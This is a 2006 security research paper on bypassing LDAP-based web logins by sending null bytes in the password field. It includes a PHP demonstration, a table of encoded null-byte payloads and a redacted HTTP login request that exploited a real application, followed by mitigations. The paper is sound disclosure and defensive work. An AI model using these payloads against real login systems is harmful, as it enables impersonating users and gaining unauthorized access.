Unauthenticated Authentication: Null Bytes and the Affect on Web-based Applications which Use LDAP

Alex Everett, CISSP
IT Information Security Office
Oklahoma State University
December 2006

Abstract – **This paper describes a vulnerability that may affect web-based applications that insecurely implement LDAP simple binds for the authentication of users. Web-based applications that fail to properly sanitize a user-submitted username and password may be vulnerable. Successful exploitation may allow for a remote anonymous user to authenticate to the web-based application as any existing user. The exploits described in this paper are most closely related to the *Poison NULL byte* attacks described in 1999 by Rain Forest Puppy, although utilized for a new purpose [1].**

Index Terms – **authentication, computer security, hypertext transfer protocol, lightweight directory access protocol, vulnerability, null byte**

I. Introduction

As organizations grow in size and begin to offer a greater number of services, it becomes increasingly complex to manage users and resources. Today, many organizations use LDAP as a centralized authority for authentication to help manage this complexity.

In recent years, web-based applications have experienced significant growth, proliferation, and advancement. These applications may perform critical tasks such as executing financial transactions. For applications that can execute a critical task or which can work with sensitive data, ensuring confidentiality, integrity, and availability become crucial. Authentication is an important mechanism which can aid in ensuring the confidentiality and integrity of these tasks. Many software developers may create new services to be leveraged as an authentication authority for web-based applications. However, this plan is not practical for all environments. In some environments, the most practical approach is to leverage an existing database that can authenticate users. LDAP implementations are often the existing service that is used as a centralized authentication authority for many organizations. This has led software developers to include modules that can authenticate users via LDAP in their products.

Analysis of the source code of a number of open source and closed source applications reveals that most developers understand anonymous and unauthenticated authentication, but some do not understand how to properly prevent attacks which utilize these methods. This may be due to a lack of discussion on the topic presented in this paper and a lack of detailed understanding of a number of functions typically employed to perform LDAP authentication.

II. LDAP

Authentication to an LDAP server occurs via a bind operation [2]. One method of this operation is named the Simple Authentication Method and allows for authentication via any of the three mechanisms: anonymous authentication, unauthenticated authentication, and name/password authentication [2]. The first mechanism allows a username of zero length and a password of zero length [2]. The second mechanism allows a user to provide a name of non-zero length and a password of zero length. The third mechanism allows a user to provide a name of non-zero length and a password of non-zero length [2]. Many LDAP implementations will successfully bind a client that has completed one of the three mechanisms of the Simple Authentication Method. Microsoft Windows 2003 Active Directory and Novell NetWare eDirectory Server 8.8 allow all three mechanisms by default [3]. However, a default installation of OpenLDAP 2.3.27 does not allow the second mechanism, unauthenticated authentication [4]. This configuration is much less at risk to the attacks described in Section V. In addition, this is the recommended configuration of the directory server [2].

Users and applications can obtain information from an LDAP service via a search operation [5]. This operation allows a client which has made a successful bind to search for and to read entries in the directory. The entries that the user or service can search for or read are dependent upon the configuration of the LDAP service and the authorization that the user or service has. For example, Novell NetWare 4.x, 5.x, and 6.x eDirectory services and OpenLDAP 2.3.27 by default allow a user or service that has made a successful anonymous bind to browse much of the directory [6]. However, a default installation of Microsoft Windows 2003 Active Directory greatly restricts what operations an unauthenticated user may make.

LDAP services that are configured to allow both anonymous and unauthenticated binding may place web-based applications that use LDAP for authentication at greater risk. When this configuration exists in conjunction with lax permissions on directory entries, web-based applications that use the directory for authentication are placed at even greater risk. Some popular web-based applications fail to properly prevent a remote anonymous attacker from successfully authenticating to the web-based application. RFC 4513, section 6.3.1, *Unauthenticated Mechanism Security Considerations*, expresses concern regarding the authentication of users or services when the unauthenticated authentication mechanism is enabled. An example of why this concern is well founded can be viewed in Section III. The following text is an excerpt of the RFC described above.

> *'Operational experience shows that clients can (and frequently do) misuse the unauthenticated authentication mechanism of the simple Bind method (see Section 5.1.2). For example, a client program might make a decision to grant access to non-directory information on the basis of successfully completing a Bind operation. LDAP server implementations may return a success response to an unauthenticated Bind request. This may erroneously leave the client with the impression that the server has successfully authenticated the identity represented by the distinguished name when in reality, an anonymous*

authorization state has been established. Clients that use the results from a simple Bind operation to make authorization decisions should actively detect unauthenticated Bind requests (by verifying that the supplied password is not empty) and react appropriately.'

III. The Vulnerability

Relying on the successful result of a bind operation for authenticating users to a web-based application is not prudent if the application does not ensure that anonymous and unauthenticated binds are restricted. If the attacker can force an anonymous or unauthenticated bind by passing unexpected values to the web-based application, the attacker may be able to successfully log in to the application. In the case the attacker has specified a username, the attacker may be able to impersonate a valid user or simply authenticate with an invalid username. Unauthorized access can occur when a zero length username is passed to the directory service, when a zero length password is passed to the directory service, and when a zero length username and a zero length password are passed to the directory service. Many applications correctly handle the scenarios described above. A more complicated scenario involves the attacker passing unexpected data as the username, passing unexpected data as the password, or passing unexpected data for both the username and the password. In a typical scenario a user may be authenticated via the following logical steps:

1. The web-based application makes an anonymous bind to the LDAP service.
2. The web-based application makes an authenticated bind to the LDAP service using a service account.
3. The web-based application searches for the provided distinguished name in the directory.
4. The web-based application attempts to make an authenticated bind to the LDAP service using the user-provided password and distinguished name.

Step one is performed solely to determine if the directory service is available. The following step is commonly performed with an account that can search for user objects in the directory. Step three is used to determine if the user-supplied account exists in the directory. The last step is responsible for determining whether the user-supplied credentials are valid. Assuming that each of the above operations succeeds, the web-based application may consider the user properly authenticated. A vulnerability emerges for this process if the user-submitted data results in an anonymous or unauthenticated bind operation in step four above and the application considers this successful authentication.

Most applications implement checks to prevent the application from authenticating a user who passes no password, no username, or no password and no username. However, many applications fail to properly sanitize a user-submitted username or password containing unexpected characters. Sanitization and verification, if performed, may be inadequate because of a misunderstanding of valid characters and how certain functions operate. Although an LDAP service may allow for any ASCII character, the user's username and password are likely to be a subset of the ASCII character set. For example, characters which are defined as control characters are typically considered invalid if they occur in a user-supplied username or password. Today, many of the languages used in web-based applications implement a string type that is binary safe. A binary safe string does not rely on the null byte for string termination as occurs in the C language. A malicious attacker may submit data which results in the creation of a string containing null bytes. In some languages, such as .NET and PHP, this string is considered neither empty nor of type null. In other languages or libraries, this may not be the case. Unexpected situations may occur when integration between languages supporting binary safe strings and languages which do not support binary safe strings exist.

Historically, attacks involving the null byte have been used to manipulate file operations, to facilitate cross-site scripting, and to craft malicious SQL statements [1][7][8][9]. This type of attack, although well suited for file operations, is also useful for attacking web-based applications that utilize LDAP services for authentication. A string containing the null byte may result in a successful unauthenticated bind for the attacker.

IV. The Code

First, a very simple example in PHP with limited practical use will be analyzed.

```
<?php
// Title: Simple PHP LDAP Authentication Example
// Author: Alex Everett
// Oklahoma State University
// Date: 12/13/2006
// Source: http://us2.php.net/manual/en/function.ldap_bind.php
// Input: none
// Output: LDAP bind successful
// Environment: PHP 4.4.3 (magic_quotes_gpc=Off), IIS 6.0,
Microsoft Server 2003 Active Directory
$username="alex.everett@okstate.edu";   //LDAP rdn or dn
$password="\x00\x41";   //associated password (poison null byte)
// $username=$_POST['username']; //uncomment to test POST
request
// $password=$_POST['password']; //uncomment to test POST
request
if  (!$username or !$password) {
   exit(); //typical check for no username or password
} //end check 1
if  (empty($username) or empty($password)) {
   exit(); //typical check for no username or password
}//end check 2
if  (is_null($username) or is_null($password)) {
   exit(); //typical check for no username or password
}//end check 3
//notice that typical checks will not prevent the attack
echo(strlen($password) . "\r\n"); //outputs the length of the string
// connect to ldap server
$ldapconn = ldap_connect("ldap.example.com") //LDAP server
   or die("Could not connect to LDAP server");
if ($ldapconn) {
   // binding to ldap server
   $ldapbind = ldap_bind($ldapconn, $username, $password);
   //verify binding. Note that the complete data is not passed.
   if ($ldapbind) {
      echo "LDAP bind successful...";
   } else {
      echo "LDAP bind failed...";
   }
}
?>
```

If the LDAP connection were set up properly and unauthenticated binding is allowed by the LDAP service, the code should return 'LDAP bind successful...'. One will notice that the three checks to prevent both anonymous and unauthenticated binding fail to do so. The ldap_bind() function fails to pass the character array when communicating with the directory server. Instead, the server receives a zero length password for authentication, resulting in a successful bind with anonymous authorization. A software developer must have a strong understanding of the sanitization and validation operations, the implementation of strings, the implementation of the LDAP bind operation for the language in which he or she is writing, in addition to an understanding of LDAP to prevent successful attacks. Unfortunately, misunderstanding of even one of these concepts could defeat the authentication safeguards in place.

For reference, one can view the PHP Type Comparison Table on the website of the PHP Group, which explains the results of a number of operations on a number of values [10]. One thing to keep in mind is that in this example, as is typical with data from forms, cookies, or the URL, the type for the variables will be string. It may not seem entirely logical, but the first check fails to halt program execution when the password variable is of type string. However, note that if the string is cast to an integer before the first check, the first check will succeed and execution will stop. The second and third checks attempt to determine if the variable is empty or NULL. See the definitive description of the empty() and is_null() functions at the website of the PHP Group [11][12]. One can see that a string containing a null byte does not qualify as either empty or NULL. Another interesting characteristic of PHP is that any password containing a null byte as the first character in a string results in an anonymous or unauthenticated bind. This behavior is contrary to what one may expect.

V. The Exploit

Exploiting a web-based application which does not sufficiently sanitize and validate data before it is passed over LDAP can be simple. One first needs to identify a vulnerable web application which binds to LDAP for authentication of remote users. Next, a valid username for the web-based application may be needed. At this point, the attacker can craft requests containing the username, the null byte, or similar variants which will result in an unauthenticated bind. Due to the way in which popular web servers handle the null byte, it cannot be passed directly but has to be encoded. Microsoft IIS 6.0 and Apache 2.0 either return a *Bad Request* response or view the null byte as a terminator in a request if passed directly. Because of this response, the null character will likely need to be URL encoded using hexadecimal notation as detailed in RFC 1738 [13]. For POST requests, the *content-type* should be set to *application/x-www-form-urlencoded*. Below is a list of encoded values that may allow for exploitation:

ASCII	HEX
%00	\x25\x30\x30
0	\x30
%2500	\x25\x32\x35\x30\x30
%00xXxXxXx	\x25\x30\x30\x78\x58\x78\x58\x78\x58\x78
%2500xXxXxXx	\x25\x32\x35\x30\x30\x78\x58\x78\x58\x78\x58\x78

Presented below is an edited request to the latest version of a current open source project. This request results in successful exploitation of the vulnerability described in this paper when a Microsoft Server 2003 Active Directory environment is used for LDAP authentication.

```
POST /*****************/login.php HTTP/1.0\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera
8.53\r\n
Host: 192.0.2.1\r\n
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png,
image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n
Accept-Language: en\r\n
Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n
Referer: http://192.0.2.1/*****************/login.php\r\n
Proxy-Connection: close\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-length: 26\r\n
\r\n
login=*******&password=%00
```

VI. Protection

There exist a number of protections against this type of attack. Some may work well in one scenario and be difficult to achieve in another. For example, making configuration changes to an established LDAP service may require extensive work.

1. Validate user-supplied data.
   This type of protection is best implemented by developers. It is imperative that user provided data match the expected types, lengths, and content. This can be implemented in a number of ways, including the use of regular expressions. Specifically, attempt to identify a string or array containing metacharacters such as the null byte.

2. Do not allow unauthenticated binds.
   This is the recommended configuration according to RFC 4513. This will prevent successful exploitation of vulnerable applications; however this may not be configurable on every platform or in every environment.

3. Do not use LDAP simple binds for authentication.
   This measure is also aimed at developers. SASL mechanisms such as GSSAPI and DIGEST-MD5 do not seem to be susceptible to the attack discussed.

4. Do not allow unauthenticated users to search the directory.
   A number of attacks fail when an anonymous user cannot access many of the objects in the directory. For example, some applications perform the LDAP search process under the authorization of the user-supplied credentials, not under the authorization of a service account. For directories which do not allow anonymous users to search most objects, the attack will likely fail.

5. Utilize black-box testing for web-based applications.
   The author was made aware of the vulnerability discussed in this paper during black-box testing. Black-box testing will likely require far less time and expertise while providing the capability to identify likely attack vectors. Typically, code review is seen as the best option for identifying vulnerabilities in applications. However, subsequent code review revealed that the language did not behave as expected for this scenario. Without considerable understanding of the application, the language in which the application was written, and experience writing applications, code review may fail to detect certain types of vulnerabilities.

6. Make configuration changes.
   Specifically for PHP 4.x and 5.x, one can enable the setting *magic_quotes_gpc*. Note that this is not the default setting for most releases of PHP 4.x or PHP 5.x. This setting replaces the null character in cookies, GET requests, and POST requests with *\0*. This generally prevents exploitation of web-based applications that are written in PHP. However, this will not suffice if the application uses the *urldecode()* function when parsing user provided input.

VII. Conclusion

Organizations using web-based applications that authenticate users via LDAP binds may be at risk, especially if the directory service implements few restrictions for anonymous clients. Many checks to prevent unauthorized access to web-based applications that use LDAP for authentication will fail to prevent unauthorized access due to undocumented handling of strings by certain functions, specifically if null bytes are contained in the strings.

This paper has provided some background on how this situation is handled from the client to the directory service. When stringent checks on user-supplied input are not in place, for usernames and passwords, serious consequences can arise including permitting an attacker to impersonate a valid user or bypass mechanisms to prevent unauthorized access. When the data protected by these mechanisms is sensitive or confidential, much diligence and review is needed to protect this data. In addition to describing the vulnerability and how it can be exploited, the author has presented a number of preventative measures that can mitigate the vulnerability or reduce the likelihood of exploitation.

Acknowledgement

Special thanks to Brett Robins, Sr. Application Developer for Information Technology at Oklahoma State University and David Skrdla, Security Engineer for Information Technology at Oklahoma State University. Without the information, insight, and guidance provided by these two, this paper would not have been possible.

References

[1] Phrack Magazine. Vol. 9. Issue 55. 1999. <http://insecure.org/news/P55-07.txt>.
[2] Request for Comments: 4513. June 2006. Novell, Inc. <http://rfc.net/rfc4513.html>.
[3] Novell Documentation: eDirectory 8.8. 2005. Novell, Inc. <http://www.novell.com/documentation/edir88/index.html?page=/documentation/edir88/edir88/data/agtxhz5.html>.
[4] OpenLDAP Software 2.3 Administrator's Guide: Security Considerations. 2005. OpenLDAP Foundation. <http://www.openldap.org/doc/admin23/security.html>.
[5] Request for Comments: 2251. December 1997. The Internet Society. <http://www.rfc-archive.org/getrfc.php?rfc=2251>.
[6] McClure, Stuart, Joel Scambray, and George Kurtz. Hacking Exposed: Network Security Secrets and Solutions. *Fourth Edition*. New York: McGraw-Hill, 2003.
[7] 0x00 vs. ASP File Uploads. 13 July 2004. Security-Assessment.com Ltd. <http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf>.
[8] Neophasis Archives. 01 October 2005. Message #0368. 2003. Neophasis, Inc. <http://archives.neohapsis.com/archives/bugtraq/2005-09/0368.html>.
[9] ASP.NET Null Byte Filter Bypass. 2006. SecurityFocus. <http://www.securityfocus.com/bid/8562/info>.
[10] Comparison Table. 2006. The PHP Group. <http://us2.php.net/manual/en/types.comparisons.php>.
[11] Empty Manual. 2006. The PHP Group. <http://us2.php.net/manual/en/function.empty.php>.
[12] Is_Null Manual. 2006. The PHP Group. <http://us2.php.net/manual/en/function.is-null.php>.
[13] Request for Comments: 1738. December 1994. University of Minnesota Editors. <http://www.faqs.org/rfcs/rfc1738.html>.

Alex Everett works as a Security Engineer for the IT Information Security Office at Oklahoma State University in Stillwater. He received a Bachelor of Science in Electrical Engineering with specialization in computer engineering from Oklahoma State University in 2005. Recent projects have included ongoing penetration testing of internal and 3rd party applications, high performance syslog database, and security research.